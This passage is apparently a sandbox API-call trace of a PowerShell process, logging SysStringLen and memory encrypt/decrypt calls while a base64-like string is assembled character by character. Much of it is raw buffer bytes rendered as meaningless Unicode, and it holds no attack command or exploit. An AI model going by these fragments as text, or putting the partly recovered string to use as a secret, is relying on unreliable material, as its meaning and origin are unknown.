(param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x385\x3f4d\x7daf\x7d92\x3865\x81b9\xe15c\x6642\xe749\xa155\x7641\x4596\x2602\x8e5e\xa7f7\x758b") returned 0x30 [0134.764] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0134.764] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rs17ycJoMv8xs=뵐島ᩤӰ") returned 0x30 [0134.764] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0134.764] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.764] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.764] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.765] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0134.765] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.765] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.765] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.765] SysStringLen (param_1="") returned 0x8 [0134.765] SysStringLen (param_1="Y") returned 0x8 [0134.765] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.765] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.765] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.765] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.765] SysStringLen (param_1="YW") returned 0x8 [0134.765] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.765] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.765] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.765] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.765] SysStringLen (param_1="YWM") returned 0x8 [0134.765] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.766] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.766] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.766] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.766] SysStringLen (param_1="YWM1") returned 0x8 [0134.766] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.766] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.766] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.766] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.766] SysStringLen (param_1="YWM1O") returned 0x8 [0134.766] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.766] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.766] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.766] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.766] SysStringLen (param_1="YWM1OT") returned 0x8 [0134.766] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.766] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.766] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.766] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.766] SysStringLen (param_1="YWM1OTE") returned 0x8 [0134.766] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.766] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.766] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.766] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.767] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0134.767] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.767] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.767] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.767] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.767] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0134.767] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.767] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0134.767] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.767] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.767] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.767] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.767] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0134.767] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.767] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.767] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.767] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.767] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0134.767] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.767] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.767] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.767] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.768] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0134.768] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.768] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.768] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.768] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.768] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0134.768] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.768] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.768] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.768] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.768] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0134.768] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.768] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.768] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.768] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.768] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0134.768] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.768] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.768] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.768] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.768] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0134.768] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.769] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.769] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.769] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.769] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0134.769] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.769] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0134.769] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.769] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.769] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.769] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.769] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0134.769] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.769] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.769] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.769] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.769] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0134.769] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.769] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.769] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.769] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.769] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0134.769] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.770] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.770] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.770] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.770] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0134.770] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.770] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.770] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.770] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.770] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0134.770] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.770] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.770] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.770] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.770] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0134.770] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.770] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.770] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.770] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.770] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0134.770] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.770] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.771] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.771] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.771] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0134.771] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.772] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0134.772] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.772] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.772] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.772] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.772] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0134.772] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.772] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.772] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.772] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.772] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0134.772] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.772] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.772] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.772] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.772] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0134.772] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.772] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.772] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.772] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.773] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0134.773] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.773] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.773] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.773] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.773] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0134.773] 